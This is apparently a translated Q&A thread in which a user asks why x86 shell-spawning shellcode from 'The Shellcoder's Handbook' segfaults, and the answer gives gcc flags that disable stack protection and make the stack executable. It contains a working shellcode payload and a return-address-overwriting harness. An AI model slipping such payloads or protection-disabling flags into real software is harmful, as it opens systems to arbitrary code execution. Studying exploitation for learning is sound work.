0

让我先向您展示我的代码。

char shellcode[] =    
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";


int main()
{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}

它是一个 shell-spawning shellcode,代码来自一本书 - “shellcoder's handbook”。我只是复制书中的代码,并用 gcc(gcc shellcode.c -o shellcode)编译它。和我的 gcc 版本是 4.7.2,我的机器是 X86,但我在 debian 上运行它,我只是得到分段错误。

readelf -l 的输出是:

Elf file type is EXEC (Executable file)
Entry point 0x80482f0
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x0050c 0x0050c R E 0x1000
  LOAD           0x00050c 0x0804950c 0x0804950c 0x00134 0x00138 RW  0x1000
  DYNAMIC        0x000518 0x08049518 0x08049518 0x000f0 0x000f0 RW  0x4
  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000490 0x08048490 0x08048490 0x0001c 0x0001c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .hash .gnu.hash .dynsym .dynstr             .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame_hdr   .eh_frame 
   03     .init_array .fini_array .jcr .dynamic .got .got.plt .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     

好吧,够了吗?

4

1 回答 1

1

您正在尝试执行位于堆栈上的代码,但您的堆栈不可执行。

GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4

您肯定想使用-z execstack开关进行链接。并且可以肯定的是,在编译时手动禁用堆栈保护:-fno-stack-protector

你最终的 gcc 命令行应该是:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

PS:您可能想阅读 gcc 手册页,这些标志都有很好的文档记录。

于 2013-05-23T00:36:08.617 回答